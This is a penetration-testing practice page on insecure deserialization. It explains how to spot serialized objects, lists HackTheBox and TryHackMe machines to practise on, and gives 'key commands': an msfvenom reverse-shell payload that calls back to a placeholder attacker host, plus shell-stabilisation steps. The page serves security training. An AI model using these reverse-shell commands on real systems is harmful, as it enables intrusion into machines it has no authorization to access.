Insecure Deserialization: practice machines and key commands
Insecure deserialization lets an attacker supply a crafted serialized object that triggers dangerous code during parsing. It is most common in Java, PHP, Python pickle and .NET applications. Look for serialized blobs in cookies, hidden fields and API bodies: Java streams start with rO0 in base64 and PHP uses readable O:4:"User" strings. Gadget chains in libraries on the classpath do the actual damage, and tools such as ysoserial generate them for Java. Even without a working chain, tampering with a serialized object can change roles or flags. The bug class also shows up in Jenkins, Log4j style JNDI lookups and other Java middleware, where a patched version is the only complete fix. Always confirm the framework version before sending payloads. These machines are good practice for spotting and exploiting the pattern.
Key commands
Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.
msfvenom Linux x64 Staged Reverse TCP ELF
Compile standalone ELF reverse shell binary for x64 Linux target.
msfvenom -p linux/x64/shell_reverse_tcp LHOST={LHOST} LPORT={LPORT} -f elf -o shell.elfTTY Interactive Shell Stabilization (Python + stty)
Upgrade dumb reverse shell to fully interactive pseudo-terminal with tab completion and arrow keys.
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Press Ctrl+Z to background shell
stty raw -echo; fg
export TERM=xterm-256color
stty rows 38 columns 140
Keep going
- Methodology: Phase 04: Foothold Execution & Initial Access
- Cheatsheet: Exploitation & Payloads
Insecure Deserialization machines (14)
1 of these are machines I solved myself and are listed first within each difficulty. Machines are matched by their technique tags. 9 Linux, 5 Windows.
Very Easy (2)
| Machine | Platform | OS |
|---|---|---|
| Pennyworth | HTB | Linux |
| Unified | HTB | Linux |
Easy (3)
| Machine | Platform | OS |
|---|---|---|
| Alfred | THM | Windows |
| Broker | HTB | Linux |
| Crafty | HTB | Windows |
Medium (4)
| Machine | Platform | OS |
|---|---|---|
| Arkham | HTB | Windows |
| Jacob the Boss | THM | Linux |
| Scrambled | HTB | Windows |
| Time | HTB | Linux |
Hard (4)
| Machine | Platform | OS |
|---|---|---|
| Feline | HTB | Linux |
| Internal | THM | Linux |
| Monitors | HTB | Linux |
| Object | HTB | Windows |
Insane (1)
| Machine | Platform | OS |
|---|---|---|
| Fatty | HTB | Linux |
Related techniques
Practise it, then track it. Log every box and the commands you used in ZeroBox. Open ZeroBox